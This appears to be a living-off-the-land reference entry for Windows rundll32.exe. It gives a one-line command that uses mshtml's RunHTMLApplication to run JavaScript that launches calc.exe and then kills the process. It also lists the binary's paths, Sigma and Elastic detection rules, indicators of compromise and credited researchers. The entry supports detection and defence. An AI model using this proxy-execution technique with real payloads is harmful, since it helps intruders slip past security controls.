Used by Windows to execute dll files
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.
Proxy execution
C:\Windows\System32\rundll32.exe, C:\Windows\SysWOW64\rundll32.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml, Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml, Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml, IOC: Outbount Internet/network connections made from rundll32, IOC: Suspicious use of cmdline flags such as -sta
Casey Smith (@subtee), Oddvar Moe (@oddvarmoe), Jimmy (@bohops), Sailay (@404death), Martin Ingesen (@Mrtn9)